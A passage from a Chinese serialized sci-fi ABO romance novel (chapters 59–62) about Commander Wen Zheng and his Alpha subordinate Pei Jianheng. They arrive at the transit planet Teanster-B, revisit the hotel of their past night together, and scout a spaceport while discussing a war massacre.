仇恨将他吞噬殆尽，在知道了沈亦映和闻衡之是在对战德瓦帝国殉职之后，他在黑市里买到了强效但副作用巨大的抑制剂，又因为年龄不够不能独自进行跨星系迁移而选择偷渡离开, 伪装成Alpha加入了联邦军部。 这么多年的摸爬滚打里, 他早已记不清, 上一次看到他父母动起来的样子是什么时候了。他也早就已经接受，在这茫茫宇宙之中，再也没人能叫他一声“小铮”。 而就在这艘被重新修复起来的“破晓号”上, 他在毫无防备的情况下，直面了他母亲牺牲前的最后一刻。 闻铮像一把挺直的剑一般站在屏幕前方, 纹丝不动，一言不发，惟有泪线从他眼睛里一滴一滴地坠落在舵手的操作台上。 破晓号人工智能没有接到下一步命令，于是发问道：“闻舰长，您是否需要再次播放此视频？” 闻铮闭眼, 深呼吸了三次，然后道：“执行。” 沈亦映的身影又再次出现在主屏幕上。 闻铮自虐般地看了第二遍，又看了第三遍，然后暂停了视频。 他注意到了。 在视频的后半段, 当沈亦映提到德瓦人和7号星的时候，视频突然丢失了8秒的画面和声音。 闻铮在这部分反复地听，但什么都听不清，只有呲呲呲的噪音声。 ……是巧合吗？ 所有地方都非常清晰，独独在提及德瓦人和7号星的时候有问题？ 闻铮垂下眼，灯光直射下，他浓密的睫毛在面如白玉的脸上留下几分阴影。 还有这个德瓦帝国的副元帅，奥克斯.奴瓦辛戈…… 闻铮冷笑起来，原来是你啊，老熟人。 …… 与此同时，赫尔正在医疗室给最后一位同事进行深度体检。 这位银发蓝眼的同事靠在门口，懒懒地问：“我就不用了吧？” 赫尔眼皮都不抬：“好啊，那到时候闻问我为什么没有你的健康信息的时候，我就告诉他，’哎呀，基因改造战士是这样啦，不屑于做这些常规检查的’，你觉得怎么样？” 裴简珩：“……” 行吧。 赫尔把“破晓号”的医疗扫描仪换成了自己的，凶巴巴地让裴简珩躺下。 后者躺在医疗床上，仰视着医疗官白的像象牙雕像一样的下颌，由衷地发问：“……你真的是艾尔文人吗？” 人家一般的艾尔文人也不这样啊！ 赫尔低头，脸上这次倒是挂上了艾尔文人标准的假笑：“学医是可以改变一个人的，你要不要现在改行试试？基因改造以后，你学起来应该也会蛮快的。” 裴简珩敬谢不敏：“还是你们这种浑身都能入药的种族更加天赋异禀，我就算了。” 赫尔扫描完他的身体，端详着悬浮屏上的数值，啧了一声：“你就庆幸这艘星舰上的医疗官是我吧，否则你这个体检报告一出，傻子都看得出你是基因改造人。” 裴简珩淡淡嘲讽道：“然后呢？把我告发到联邦军部去，让军事法庭也像判程迹一样给我判个四千多年刑期好了。” “哎哟，这话怎么说的，”赫尔道，“你父亲现在还在那个位置上，谁敢动你。” 他沉默了一下，又说：“你是受害者，怎么也判不到你身上。况且，当年’利刃计划’中的幸存者，也只有你一个了。” 裴简珩似乎想到了什么，猛地从医疗床上站了起来：“你是说贺朝已经——” “你的基因序列正常，”赫尔打断了他，“起码目前还是，但如果你再这么过度压制Alpha信息素，我就不保证了。” 见赫尔不想多说，裴简珩也识趣地没有追问。 “你现在对Alpha抑制剂太依赖了，你的信息素本来就和常人不同，异常的敏感尖锐。长此以往，你的信息素会暴乱。”赫尔头痛，“真到了那一步，你以为还有第二个基因改造战士能拦得住你吗？” 裴简珩吐出一口气：“那你要不然就给我换点其他的药物吧。” 赫尔咂了咂舌：“哪儿有这种神药！你需要一个固定的Omega伴侣！” “……嗯……但也不能是寻常的Omega，他或她需要对Alpha的信息素极度不敏感，最好腺体已经出现退化、受伤等衰退迹象，但自身的Omega信息素还不能减弱。” “身体素质也得够好，不然哪里扛得住你这个基因改造的可怕体能……” “最好啊，我是说最好，也不能有生育能力。你的基因改造很大可能会遗传，这样的话母体很难承受，除非体外培育……” 裴简珩双手环胸，打断了他：“你有意识到你在说些什么吗？” 赫尔越说越小声：“呃，目前看来你需要一个超过65岁、既丧失生育能力，又有部分腺体退化，还要保留信息素水平的Omega，同时还得具有和S级Alpha不相上下的身体素质。” 裴简珩用那双蓝色的眼睛幽幽地盯着自己的老友，直到把后者盯到心虚的目移。 “不是，你听我解释！” 艾尔文医疗官挠了挠头：“目前来看这确实是唯一的办法，虽然这样的Omega有点难找——” “——诶？” 裴简珩都快被他气笑了，突然发现这个艾尔文人，停滞住了。 物理意义地停住了，好像谁给他按下了暂停键。 刚刚好像有一道看不见的雷电突然打在了赫尔的脑袋上，让他瞬间福至心灵！ 等一下。 腺体残缺、对Alpha信息素不敏感、自身Omega信息素未减弱、身体素质够强、还丧失生育能力的Omega…… 咋这么耳熟啊？！ …… 又2天21个小时过后，“破晓号”终于即将抵达特安斯特-B中转星。 闻铮提早就和特安斯特-B的太空港对接人员取得了联系，在得到他们的安全协议和身份验证码之后，特安斯特-B海关放行，允许他们降落。 裴简珩熟练地操作星舰穿过大气层，又平稳地降落，其熟练程度让凯利斯发出了疑问：“你不是在此之前只实际开过21个小时的星舰吗？不会是骗我的吧？” 坦白来说，当“破晓号”稳稳地降落到太空港之后，就算是闻铮，也偷偷地长舒了一口气。 毕竟太久没有指挥过星舰，这几个人也这么多年没登舰了，真要是发生什么事情，结果还真不好说。 当他们收拾好离舰的时候，惊讶地发现离舰口有三个人在等着他们。 裴简珩的视力最好，他悄悄地凑到了闻铮的左边，轻声说：“是苏里米亚人，穿着太空港地勤的制服。” 闻铮颔首，当他们再走近的时候，他看清了这三个人的长相——虽然也是类人的两脚生命体，但这个不需要睡眠的苏里米亚种族有接近三米五的身高，他们的头部是完美的正方体，脸上仅有两只眼睛和一个口器，如果闻铮没记错的话，在他们圆形的口器里面是密密麻麻的触手，这里只用来进食，不用来交流。 而真正发声的位置是—— 闻铮面对着眼前的肚脐眼，平静地打招呼：“你好，我是暗影组的指挥官，闻。” “您好，闻指挥官。” 有些闷闷的声音从这个肚脐眼中传出来，为首的苏里米亚人介绍自己：“我是特安斯特-B星球接待各方联邦公差的负责人花花，洛河星系7号星警部的利切尔副局长已经提前联系过我们，我们为您一行人在系统里随机安排好了食宿，请随我来。” 黎晓站在闻铮背后，头越埋越低，凯利斯奇怪地瞥他：“你干嘛？” 黎晓努力地控制住自己不要笑出声：“他是真的叫花花吗？” 被他这么一问，凯利斯也有点想笑：“说不定是联邦通用翻译器的问题，你礼貌一点，小心他们用触手甩你脑袋。” 黎晓咬紧牙关：“你瞎啊，你没看到我在努力……哈哈哈……咳，忍着吗！” 凯利斯抿紧嘴唇，也把头转到另一侧去偷笑。 闻铮一怔：“利切尔副局长提前联系你们了？” “是的，”花花说，“费用也都已经结过了。” 闻铮几不可见地皱了下眉，倒是也没说什么，只是烦请花花带路。 花花带他们上了一辆传送车，也就不过两分钟，他就把肚脐眼又转了过来：“到了，请下车。” 闻铮看着眼前这个高耸入云的豪华酒店，眉心一跳，脸色有些复杂难明。 花花已经带头走了两步，转头却发现这位黑发指挥官没挪窝。 他歪了一下正方形的脑袋：“闻指挥官，有什么问题吗？” 闻铮喉头滚动了一下，眼睛一闭就往前走。 裴简珩在他左边用余光瞟着他，看到闻铮这个明显不对劲的表情之后，年轻Alpha倒是开心了起来。 看来闻哥……还是对一年前那个晚上记得很清楚的嘛！—— 作者有话说：小剧场: 小裴：你知道你自己在说什么吗？ 赫尔：别吵，我在思考 ———— 感谢34402499的营养液！掉落苏里米亚人同款玩偶x1！ 故地重游咯，感情加速加速加速[墨镜] 下一章意识流被锁了，修改后正在努力申请解锁中[可怜]大家可以下午再来戳戳！ 第60章 今晚这怎么睡？ 苏里米亚人的情绪感知非常敏感, 花花歪了歪正方体的头：“闻指挥官看起来好像对这个酒店不是很满意，我可以再为您换一家。” 闻铮摆摆手：“没事的，不必费心了。” 花花又再次确认了三遍真的没问题, 这才继续带他们进去。 黎晓在后面捂着嘴和凯利斯小声蛐蛐：“这么一看闻哥的情绪确实很稳定, 同样的问题让我回答第二遍我就已经开始生气了。” 凯利斯也捂着嘴小声回复：“闻哥固然情绪稳定，但你的情绪会不会也太不稳定了一点？” 黎晓面不改色地重重踩了他一脚，才向前走去。 凯利斯嘶了一声, 这人怎么下脚这么狠啊！ 他一边缓着脚痛，一边抬眼看了看眼前这家叫瑞昂的豪华酒店，啧啧摇头。 他们运气还挺好，系统随机分还能分到这种级别的酒店, 要知道之前出任务的时候, 就算是悬空号这种最高级别的战舰, 当系统给随机分配了个二星级酒店的时候，他们也只能捏着鼻子认了。 大堂里也是富丽堂皇，很有那种在古老的地球纪录片里看到过的“暴发户”风格, 凯利斯一进去都有点被晃得睁不开眼睛。 花花带着他们一行人来到了前台，前台负责接待的服务人员是一个身材高挑的棕色卷发美女, 她接过了花花给的通讯资料，对着悬浮屏上的资料顿了两秒，转而抬头对着闻铮笑靥如花：“欢迎来到瑞昂酒店，闻指挥官。我是您本次入住期间的私人管家茱莉，您和您舰员的房间都在48楼, 请跟我来。” 闻铮对她颔首道谢，没有多在意。 裴简珩却注视着她的侧脸，他可以确定，他从来没有见过这个茱莉, 但他总感觉这轮廓和骨相有点似曾相识的眼熟。 ……奇怪。 茱莉也感受到了他的目光，微笑地看向他：“您好，裴中校，有什么我可以帮您的吗？” “没什么，”裴简珩也对她微笑，“有什么问题我会联系你的。” ……声音也很陌生，没有听过。 那怎么会有这种莫名其妙的熟悉感？ 在他还在暗自思索的时候，茱莉已经把他们带到了房间门口，五间房都是同一个区域的。 “不管房间有任何问题，或者您有什么其他需要，都可以联系我。”茱莉顶着一张漂亮的脸对他们五个人依次微笑，在最后还好像突然想起了什么，补充了一句。“啊对了，我们瑞昂酒店有着附近五个星系内最好的私享酒吧，如果大家有需要，可以去放松一下。” 对酒很有研究的凯利斯眼睛一亮。 赫尔倒是注意到，他们的闻指挥官在听到这个私享酒吧后，脸上的表情有一瞬间的僵硬凝滞。 嗯？ 赫尔的八卦之魂冒了出来，这个表情他可没见过。 他立刻又转向了裴简珩，这位老友在听到这个酒吧后，嘴角立刻就翘了起来，压都压不住。 赫尔脸上没什么表情，心里哼哼。 你俩要是在这儿没有什么事，我就不是艾尔文人！ …… 茱莉走了以后，闻铮瞳孔识别刷开了自己的房间。 酒店里同一房型里面的布置都是一模一样的，闻铮的视线落在那张两米三的大床上，又像是被针扎了一样立刻移开视线。 48楼的夜景很好，他强迫自己把目光放在落地窗外，不再去看那张……床。 闻铮右手紧握成拳，一拳砸在了墙上，手背砸红了，脸和耳垂也红得彻底。 故地重游……也不是这么个重游法吧。 今晚这怎么睡？ 他一看到这张床和这个房间的布景，就能想到一年前的那个晚上。虽然他为了麻痹自己喝得晕晕乎乎，但发生在那张床上的事，他也还都记得。 那天晚上他就在瑞昂的酒吧里喝酒，还没有最终下定决心。而来找他搭讪的人很多，在连续拒绝了7个Alpha，2个艾尔文人和3个桑塔人之后，裴简珩出现了。 也许是身体里Omega的信息素和激素水平让他无法再控制，也许是这个年轻的英俊Alpha有点莫名的眼熟，又算是合他的眼缘，也可能是他身上的檀木香和自己的信息素过于契合……不管怎样，他们聊了几句，最终从酒吧一起回到了裴简珩的房间。 闻铮戴着面具，拒绝了裴简珩开灯的请求，原本只想速战速决，没想到只不过十分钟之后，这个Alpha的信息素摧枯拉朽地席卷而来，让他几乎溺毙其中。 被压抑多年的发｜情｜期、被强行挖除的腺体、被抑制剂半毁的信息素……它们好像终于找到机会和主人抗议，在那个晚上悉数报复了回来。 他已经不记得具体细节了，他只记得自己半途晕了过去，再醒来的时候，发现床单简直像被洗过一样。 这个年轻的Alpha体能好到可怕，饶是闻铮这么坚韧的性子，都险些要控制不住地跟他低声求饶。 等天边微亮，裴简珩终于鸣金收兵，闻铮感觉自己好像已经有点死了。 他意志陷入黑暗，累得沉沉睡去，却又在半夜蓦地惊醒。 他借着酒店窗外的月光，撑着身体坐起来，差点后腰一酸又栽回去。 费了一会儿劲，闻铮才又坐起来，敏锐地察觉到紧紧搂着他的Alpha眼皮在微微颤动，显然是要被他吵醒了。 闻铮神色冷下来，伸手摸索到自己的外套，从里面掏出三倍剂量的镇定剂，径直扎进了Alpha的手臂上。 在确保裴简珩晕了过去以后，他才拿开他的胳膊，费劲巴拉地下了床。 两个人的外套衣服裤子都扔得乱七八糟，闻铮一件一件捡起来穿上，随着衬衫最高的一颗纽扣被扣上，眨眼间他又恢复到那个冷冰冰的指挥官。 最后不经意地扫了一眼床｜上的裴简珩，闻铮突然发现从这个角度看过去，他好像有一点眼熟，但再仔细一看，又似乎是错觉。 他也没再细想，几个小时前他们是陌生人，几个小时后他们依然还是，上过一次床也不能代表什么。 当时的闻指挥官怎么可能想到，一年以后，他们两个还会再次踏入这家酒店，而这次，这个Alpha已经成为了他有力的下属。 突然之间，闻铮感觉到后颈又开始微微发热，他立刻去盥洗室用冷水洗了一把脸，努力让自己不要再去回忆那个晚上，否则赫尔又要叉着腰骂他了。 这时门铃突然响起，闻铮脸上还挂着水珠，他匆匆忙忙地扯了毛巾擦了一把，警惕地将右手扶上了后腰别着的相位枪， 门打开的一瞬间，闻铮看见那双湛蓝的眼睛的下一秒，下意识地一把就把门摔上了。 差点被门砸到鼻子的裴简珩：“……” 他在外面犹豫问道：“……不方便吗？” 闻铮在门里深呼吸两次，又把门打开，语气已经毫无波动：“有什么事吗？” 裴简珩垂眼看着他，闻铮脸上还挂着零星的水珠，前额的细碎额发微湿地搭在脸颊两侧，让他整个人看起来更加浓艳，漆黑的发丝零星地粘在苍白的皮肤上，又很招人……怜爱。 裴简珩喉头滚动了一下，强迫自己移开目光：“时间还早，您要不要一起去——” 闻铮像被踩到了尾巴一样，立刻打断他：“不去，我不喝酒！” “——去特安斯特-B星的商业区逛逛？” 闻铮：“……” 裴简珩装作一脸无辜：“咦，您要去茱莉说的私享酒吧喝一杯吗？我也可以一起的！” 闻铮在心里骂自己在说什么蠢话，一边耳根飞红地生硬转移话题：“……逛什么？” “这两天正处于特安斯特-B星的最大法定节日’新生日’，”年轻的Alpha对他眨眨眼：“很热闹的。” 闻铮道：“我不喜欢热闹。” 裴简珩歪头：“这里是联邦军部辖区，如果去商业区，说不定还能探查到德瓦人的信息。” 闻铮真的开始思考了。 裴简珩小小地翘起唇角，很有几分狡黠。 他已经逐渐摸清楚了闻铮的性子，纵然他从容、聪明、坚韧、挥斥方遒，但有的时候却也蛮简单纯粹的。 闻铮承认，裴简珩说得有道理。 德瓦人的那艘船还有几天才到特安斯特-B星，他们是商用舰，不可能停入联邦星舰的太空港里，只能去商用港，提前去了解打探一下确实是必要的。 所以他倒是也没有纠结：“走吧。” “请等一下。” 出乎意料，他都走出房门了，裴简珩突然叫住了他。 在他望过去的疑惑眼神里，高他一个头的Alpha伸出手，轻轻地把闻铮微微湿润的碎发整理好。 闻铮一怔。 他不知道为什么自己在这个瞬间没有后退、没有躲开、更没有打开裴简珩的手，可能是因为刚刚他回忆起了和眼前这个人的耳鬓厮磨，也可能是因为他在此刻看向自己的眼神，太过温柔。 裴简珩把他的额发都整理好，用尽全力克制住自己想要在闻铮额头落下一吻的冲动，缓缓退后一步。 闻铮在他这一步里也回过神来，轻咳一声：“你查过了吗，我们去哪里探查？” 裴简珩对他眨了眨左眼：“跟我走吧，闻哥。”—— 作者有话说：小剧场： 闻哥（不打自招版） 小裴（装傻版） —— 意识流已老实，本章阅读不通顺的地方基本都是因为被制裁过了[心碎]《 》 60-70 第61章 真的不喝一点吗 特安斯特-B星球是在八年前才成为中转星的, 在此之前这里是一颗I型文明星球[1]，等离子物质十分充沛，科技发展水平也位于联邦第一级, 甚至超过首都星。所以哪怕这里的人口并不是特别多, 但人均持有可支配资产和联邦通用幸福指数都非常高。 八年前成为了这里的重大转折点，在那之后的特安斯特-B星，等离子资源几近枯竭, 科技水平遭受重创，如果不是联邦将其定为了中转星，这里早就变成被废弃的荒星了。 不过八年的时间过去，这里又重新焕发了和此前不一样的新生机。 “……这是什么？” 闻铮狐疑地看着裴简珩递过来的杯子, 警惕。 “当地正宗传统风味饮料, ”裴简珩笑盈盈的, “据说是最早克米恩族用来庆祝节日的饮品，特安斯特-B必吃榜第一名。” 闻铮有些犹豫地接过来，那杯饮料呈现五彩斑斓的黑, 看上去让人食欲全无。 “克米恩族已经灭绝了，”闻铮保持怀疑态度, “这能是正宗传统风味？” 裴简珩的表情写着“你试试”。 闻铮有些不忍心扫了这个年轻下属的兴，颇有几分视死如归地浅尝了一口，入口瞬间倒确实是出乎意料的好喝，酸酸甜甜，还有一点点微辣的口感。 看他的表情, 裴简珩就知道他喜欢，眼睛也亮了起来。 闻铮瞥了一眼Alpha，他现在又流露出那种和自己小时候养的那只大白狗一模一样的神情了…… 裴简珩真的不是艾尼默人吗？不会是把尾巴藏起来了吧。 闻铮被自己的想法逗笑了，下一秒又强行把这些莫名其妙的想法收起来, 轻咳一声：“你怎么还逛起来了？” 刚刚不是还说要来追查线索的吗？ 裴简珩从容道：“慢慢来，线索总会自己跳出来的。” 闻铮：“……” 闻指挥官懒得理他，他其实心里也多少能感觉出来，裴简珩只是想拉他出来散散心，至于线索，左右也不过是个幌子罢了。 只是他不明白的是，自己明明清楚裴简珩的打算，为什么还会揣着明白装糊涂地和他在这条商业区最繁华的街区闲晃。 这里人流量不小，他们两个人几乎是肩并肩、肘碰肘地前行，时不时裴简珩还会给闻铮看一些特色的小玩意儿，什么克米恩族的特色饮品、莱克尔族的招魂铃铛、阿莱族的变色宠物、苏里米亚人的方形帽子之类的。 这些种族，闻铮在战争期间多少都见过。联邦星舰军队主张多元种族平等发展，一艘大型星舰上会充斥着不同种族的舰员，甚至还有指标，人类舰员占比不得超过50%。 就像当年悬空号上有512名船员，甚至分别来自29个种族。 但像饮品、招魂铃铛、变色宠物和方形帽子这种东西，很显然是不能被带上星舰的，所以闻铮倒是见都没见过。 裴简珩又递给了他一小瓶绿油油的酒：“尝尝这个？” 闻铮瞥了一眼商家，是魁斗人酿的酒，里面还放了魁斗人的血，宣传喝一口就可以短暂拥有像魁斗人一样的体能，持续五分钟。 闻指挥官敬谢不敏：“不喝酒。” 裴简珩微微低头凑近他，小声说：“闻哥，上次我们跟踪的时候，我有偷听到那艘开往特安斯特-B的商用星舰上有人提到魁斗酒。” 闻铮一怔，接过那瓶魁斗酒去看背后的包装信息，在代工厂一栏里看到了洛河星系7号星的地址。 裴简珩在他旁边也看到了，随后就发现闻铮的脸上勾起了一丝冷笑，问：“怎么了？” 他示意裴简珩看这个地址，闻铮的声音透露着嘲讽：“我第一次知道7号星的军部总部还兼顾制酒代工业务。” 那个地址，裴简珩也知道，正是7号星军部的总部大楼。 这是嘲讽和挑衅。 闻铮把酒瓶在手里转了两圈，去问商户老板：“请问，你们这个魁斗酒是从哪里进货的？我们想大批购置，不知道是否可以透露一下进货渠道？” 商户老板是莱克尔人，类人种族，浑身都是蓝色皮肤，面容姣好中性，对闻铮眨了眨眼：“你想知道？那让你的同伴陪我一晚上？” 你的同伴。 陪我。 一晚上。 一瞬间闻铮还以为通用翻译器坏了，他将目光移到他那高大又俊朗的Alpha下属身上，沉默半晌，艰难道：“……我们是正经做生意的。” 商店老板直接把话头对准了裴简珩，对他诱惑地眨了眨眼：“你也看到了，我是莱克尔人，不管你喜欢男的还是女的，我都可以满足你。” 裴简珩的表情僵硬了一瞬，飞快地瞟了一眼闻铮后，礼貌地婉拒：“抱歉，我对你不感兴趣。” 莱克尔人的捕捉到了那一眼，饶有兴味的目光在他们两个身上瞟来瞟去，发出了恍然大悟的声音：“哦~” 闻铮被他的眼神看得鸡皮疙瘩都起来了，想要解释些什么，又觉得人家什么也没说，自己上去解释很明显就是……欲盖弥彰。 “算了，”莱克尔人倒是没在意，摆了摆手，“看在你们长得帅的份上，也不是不能告诉你们。” “这种魁斗酒在这个街区里可就只有我家有卖，供应商的货量有限，每个月也就十箱，卖完就没了。如果你们也想做这个品的话，我可以帮你们引荐。” 闻铮微微挑眉：“你是痛快人，我也就直说了。这么独家的买卖，你为什么肯让我们分一杯羹？” 莱克尔人嘻嘻笑了：“因为我打算搬走了，钱也挣得差不多了，准备回莱克尔星享受生活。” 老板指了指旁边挂着的“出兑”挂牌：“我打算下个月就走，这生意反正我也不做了，两位帅哥感兴趣的话，我就搭个桥，当然了——不是免费的。” 他说不是免费的，闻铮倒是信了几分：“成交。” 莱克尔人爽快地留了自己的通讯：“他们十天后会来给我送货，到时候我提前联系你们。” 说完，这位老板还慷慨地给了他们两瓶魁斗酒和其他几种类型的酒：“如果你们对其他的品种也感兴趣，都可以联系我，我都有渠道的。” 裴简珩也留了自己的通讯和一部分订金，莱克尔人还挺热情：“你们是刚来特安斯特-B星吧？来都来了，建议你们去前面的特安斯特高塔看一看，马上要结束营业了，人比较少。” 闻铮刚要婉拒，毕竟他们不是来旅游的，但莱克尔人说的下一句吸引住了他：“特安斯特高塔的视野很独特，可以俯瞰整个商业太空港动线哟。” 闻铮一顿，下意识地望向了裴简珩，却在半途中也撞到了他看向自己的目光。两个人的视线在半空中交汇，都明白了对方没有说出来的想法。 …… 夜幕笼罩，这里和7号星正相反，特安斯特-B的日照时间超过每天的2/3，使得黑夜都变得尤为珍贵。 虽然所有中转星都由联邦直属管辖，但特安斯特-B在宇宙空间学中还是隶属于水云星系，因此它也和水云星系其他行星一样，拥有它们自己的“月亮”——水云γ。 水云γ的光反射后更偏黄，这也使得特安斯特-B在黑夜中会散发着淡淡的温馨感。 闻铮和裴简珩还是来到了特安斯特高塔，这里现在已经没几个人了。 他俩甚至为了能更好地观察到商业太空港的动线而跨过了一条警戒线，假装没看见外面写的“游客禁止入内”的告示，找到最适合观察的洞口才停下脚步。 特安斯特高塔并不是由最新的科技打造而成的，而是被特安斯特-B的原住民克米恩人通过特殊的技术建造，虽然没有应用任何科技技术，但就是牢不可破。联邦一直很好奇这种技术，只是它跟着克米恩人一起永久地消亡了。 这个种族的智商极高，为了保护这种智慧，他们演化出了有如变色龙一般的外形变化能力，但依然没能在绝对的暴力和屠杀面前保护得了自己。 闻铮从特安斯特高塔的最高瞭望处朝下看去，确实将整个商业太空港尽收眼底。作为最繁忙的中转枢纽之一，这里川流不息，日夜不停，平均每十五分钟就有一艘星舰入港或离港。 高塔入口处给游客贴心地配备超远程望远镜，闻铮戴上这个金色边框的眼镜，稍微调了下参数，甚至能看到每一艘商用星舰的编码。 “裴简珩，你上次听到德瓦人那艘商用星舰的编码是什么来着？” 闻铮随口问，却半晌没有得到回答。 他把眼镜的放大参数取消，转过头看向自己的下属，一时无语：“你在干什么？” 裴简珩坐在洞口边，一边把莱克尔店主给他们的酒拿出来，一边无辜地仰头看向闻铮：“闻哥，真的不喝一点吗？” 闻铮无言地看着他在那边忙活，双手环胸地靠在一边，冷冷道：“裴简珩，我发现比起之前，你最近的胆子确实大了不少。”—— 作者有话说：注： [1] I型文明：卡尔达舍夫等级(kardashev scale)，由前苏联天文学家尼古拉卡尔达舍夫于1964年提出的文明等级划分，一级文明（行星级文明）为能够完全控制和使用本星球的能量 ，根据卡尔.萨根公式估算，其认为目前人类约为0.73型文明，尚未完全掌控地球能源。 ——— 上一章哪个读者宝宝的评论被搞没了555，就这么几个评论我一刷新就无了[爆哭] jj终于把上一章给我放出来了，没看到的大家可以看啦[害羞] 第62章 越来越近 闻指挥官的话倒是也没说错, 裴简珩的胆子确实是大了，具体表现在闻铮都已经揣着手在一边面无表情地盯着他了，银发Alpha还是笑容不减地拍了拍自己旁边的空地：“坐一会儿？” “线索我们也有了, 稍微放松点嘛闻哥, ”裴简珩可怜兮兮地自下而上地仰视他，“我听说您每个月都会和手下的人一对一谈话的，我加入暗影组都快两个月了, 您还没找我谈过呢。” 闻铮：“……” 闻指挥官理亏。 在理亏之余，他也有些新奇地发现，相比起两个月前，裴简珩倒是也发生了一些变化。 刚来的时候他可能还比较陌生和拘谨, 他也就才27岁, 却处处表现得老成与恪守分寸。虽然能看得出来他的家庭背景、教养和性格本来就很好, 但那种紧绷和谨慎依然十分明显。 而自从被戈维挟持和破晓号起飞后，可能也感觉到闻铮对他的防备心没有那么重了，他整个人都变得相对放松了一些, 原本被刻意掩盖的本性也开始慢慢展现出来。 比如一些应该和年龄成正相关的幼稚，也比如此刻这种类似于……撒娇的行为表现。 闻铮在他旁边坐下, 主动地道歉：“你说得对，这是我的失误。这段时间发生的事情太多，我还没来得及和你聊一聊。” 裴简珩只是随口一提，听到闻铮这么说倒是一呆：“不，闻哥, 我其实是开玩笑的，您不用——” 闻铮侧过脸对他笑了笑：“但我看你适应的还挺好的。” 裴简珩的目光又落在了闻铮右颊的梨涡上，他突然发现一个规律，闻铮右颊的这个梨涡倒是很听话, 只有他真心想笑的时候才会跑出来，而在他冷笑讥笑嘲笑假笑的时候，连个影儿都没有。 “都到了这个时候，也没有什么好藏着掖着的。”闻铮很直接，“暗影组的人都是我自己亲手挑选的，你作为一个空降而来的人，一开始我确实无法接受，也不能信任你，也可以坦白说，我确实想过一些办法来……解决你这个麻烦。” 他注意着裴简珩的反应，果不其然，这个Alpha一点意外之外的反应都没有，他确实很清楚自己所处的状况，从头到尾都非常清楚。 所以裴简珩只是问了一句：“那现在呢，您还是同样的想法吗？” 闻铮没有正面回答：“但我不得不说，你做得很好，在这两个月的时间里，你表现得甚至比其他人都要出色。” “我承认你的能力，但我依然对你未来可能带来的潜在风险和麻烦持保留意见。” 裴简珩也笑了：“您的态度倒是很公允。” “就像我之前说过的一样，我的确是怀有目的前来，我也确实有一点不太寻常的背景，但我绝不会对您、对暗影组不利。” 在黑夜里，裴简珩那双蓝汪汪的眼睛分外澄澈，就这么纯然地、真诚地看着闻铮，“我只是在寻找某个人，寻找某些东西，寻找横亘了我的过去和未来人生的锚点。” 闻铮看回去：“那你找到了吗？” 这次换裴简珩没有正面回答，他把目光投向了塔外，反问：“您不好奇，我为什么会对特安斯特-B如此熟悉吗？” 他确实问到了闻铮的好奇之处。 从刚刚开始，裴简珩就展示出了他对这里的熟稔程度，这让闻铮确实有些讶异。 在过去和德瓦人持续了十六年的战争中，水云星系隶属于联邦舰队第二军团的管辖范畴，作为第三军团上将的闻铮只大致听说过这里发生的事情，但也就仅此而已。 裴简珩怎么会……不对！ 电光火石之间，闻铮突然想到，在裴简珩报道的第一天，他就说过他曾经在联邦前锋突击卫服役，如果他没记错，八年前这里曾经—— “克米恩大屠杀。”裴简珩的声音低了下去，“那个时候这里还叫克米恩星。” ——果然。 闻铮静默片刻，方才道：“你参战了八年前那场克米恩之战。” 裴简珩默认。 “八年前，你19岁。”闻铮叹息，“虽然我不知道你具体的背景是什么，但我猜你是有除了参军以外其他选择的。” “是的，我有。”裴简珩笑了一下，“我家里所有人都在联邦军部内，我从小到大都在享受联邦给予我的特权，所以为了联邦而战是我应尽的职责与义务。” “我在星舰军校上到一半，德瓦帝国打进了水云星系，一共27颗生命星，德瓦帝国在三个月内就掠夺了17颗。” “我没有骗您，那一年联邦舰队确实需要组建一支配备给各大星舰的前线突击卫，要求同时具备登舰能力与近身搏斗能力，配给第二军团协同东翼战场作战，尤其是水云星系。” “我是指挥学院第一个，也是唯一一个报名的。” 裴简珩想到了什么，转头看向闻铮，眼底有丝促狭：“我和赫尔就是在克米恩星认识的，他把我被相位枪差点打断的胳膊再生回去了。” 他倒是毫不犹豫地把赫尔卖了。 闻铮有些恍然：“怪不得他的医学风格非常实际，并不像星舰军校毕业直达舰队的学院派，原来是战地医疗官。” 如果按照学院派的风格，赫尔绝对不会擅自给闻铮开一些可能有副作用的激素药物，哪怕这是患者自己的要求。 “当年德瓦帝国在克米恩星外围进行引力牵引布防，联邦所有的通讯和相位穿梭信号在这里都不可用[1]。”裴简珩不再说赫尔，又把话题转了回去，“一切都只能靠地面军队。” 闻铮的神色也冷了下去：“德瓦人的经典模式。” 先切断通讯，再切断相位穿梭，让地面和星舰失去所有交流手段，再肆无忌惮地将所有障碍清除，就像把社畜圈起来宰杀一般。 “在那两个星期内，只有我们联邦前锋突击卫，得不到任何来自于星际舰队的支援，只能靠自己。” “所以我们救不了克米恩人。” 裴简珩神色茫然，好像回到了八年前，回到了那个被血染红的星球。 “他们在被德瓦人屠杀，但他们宁愿死，也不肯交出自己的科技和智慧产物，宁可抱着这些高级文明和他们一同消亡。” 这些是闻铮不知道的，第三军团的战场分布在西翼，东翼这边发生的一些事情，他基本只知道被联邦披露的部分。 “在被德瓦人侵略和屠杀前，克米恩星是联邦中最接近II型文明顶层的星球。克米恩大屠杀后，这里的文明系数降为0.8，哪怕是现在的特安斯特-B，在联邦的全力支持下，它的文明系数也仅有1.12，倒退了七百年的进程。” 裴简珩指了指洞外的商业太空港：“我小的时候来这里玩过一个月，八年前当我再次踏上这里的时候，我难以置信这种废墟和炼狱，竟然是科技水平连首都星都要逊色三分的克米恩星。” “而现在，它又是完全不一样的景象了。” Alpha深吸一口气，转过脸来望着闻铮的眼睛，认真地说：“我厌恶战争，更憎恨挑起战争的德瓦人。他们现在在背后做这些小动作，明摆着就是在找机会撕毁《战争修整与互不干涉条约》，再次挑起战争掠夺联邦资源。” “无论您怀疑我抱着何种目的前来，您起码可以放心的一点是，我和您抱有相同的愿景，那就是这个宇宙没有德瓦帝国会更和平。” 在这一刻，闻铮看着裴简珩蔚蓝澄澈的眼睛，听着他以如此沉痛的语调陈述着他的过往，真正地卸下了对他目的性的猜疑。 作为军官和战士，闻铮知道，任何人在亲自经历了战场以后，都只有一个共同的希望，就是真正的和平。 即使他们被教导要恪守的信条是联邦的荣誉高于一切，但如果连联邦民众的生命都无法保护，这些荣誉又有什么用处？ 闻铮的右手手指在裤侧轻轻敲打，他意识到裴简珩的情绪低落，他也对自己让他回忆起那种沉痛过往而感到一丝抱歉。 妥协之下，他把手伸向了莱克尔老板给他们的那几瓶酒，拧开递给了裴简珩：“现在是下班时间，允许你喝。” 裴简珩还没从那种状态里完全出来，笑得有点勉强，但还是接过酒瓶喝了一口，然后就被这个口感辣得脑仁疼。 